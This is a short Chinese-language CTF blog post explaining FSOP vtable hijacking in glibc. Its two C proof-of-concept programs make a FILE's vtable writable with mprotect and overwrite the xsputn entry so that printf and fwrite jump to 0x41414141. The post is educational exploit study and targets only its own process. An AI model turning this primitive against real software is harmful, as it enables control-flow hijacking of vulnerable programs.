FSOP

Posted by l0tus on 2023-08-21
Estimated Reading Time 1 Minutes
Words 306 In Total
Viewed Times

FSOP

基本介绍:https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/

vtable hijacking poc

下面是一段劫持vtable的poc,这里是覆盖printf会调用的xsputn,偏移为8。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/mman.h>
#include<fcntl.h>
#include<string.h>
#include<sys/stat.h>

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
mprotect((void*)((long long)vtable_ptr&0xfffffffffffff000),0x1000,PROT_READ|PROT_WRITE|PROT_EXEC); //change vtable to rwx
vtable_ptr[7]=0x41414141; //xsputn

printf("call 0x41414141");
}

调试看到的效果:
pic1
可见,调用printf的时候,会调用vtable的xsputn函数,这里我们劫持了vtable的xsputn,覆盖成0x41414141,因此在printf调用xsputn的时候,调用了0x41414141。
同时经过测试看到fwrite函数也会调用xsputn。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/mman.h>
#include<fcntl.h>
#include<string.h>
#include<sys/stat.h>

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
mprotect((void*)((long long)vtable_ptr&0xfffffffffffff000),0x1000,PROT_READ|PROT_WRITE|PROT_EXEC); //change vtable to rwx
vtable_ptr[7]=0x41414141; //xsputn

fwrite("hi",2,1,fp);
}

pic2
和printf一样,篡改了xsputn于是在call的时候调用了0x41414141


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !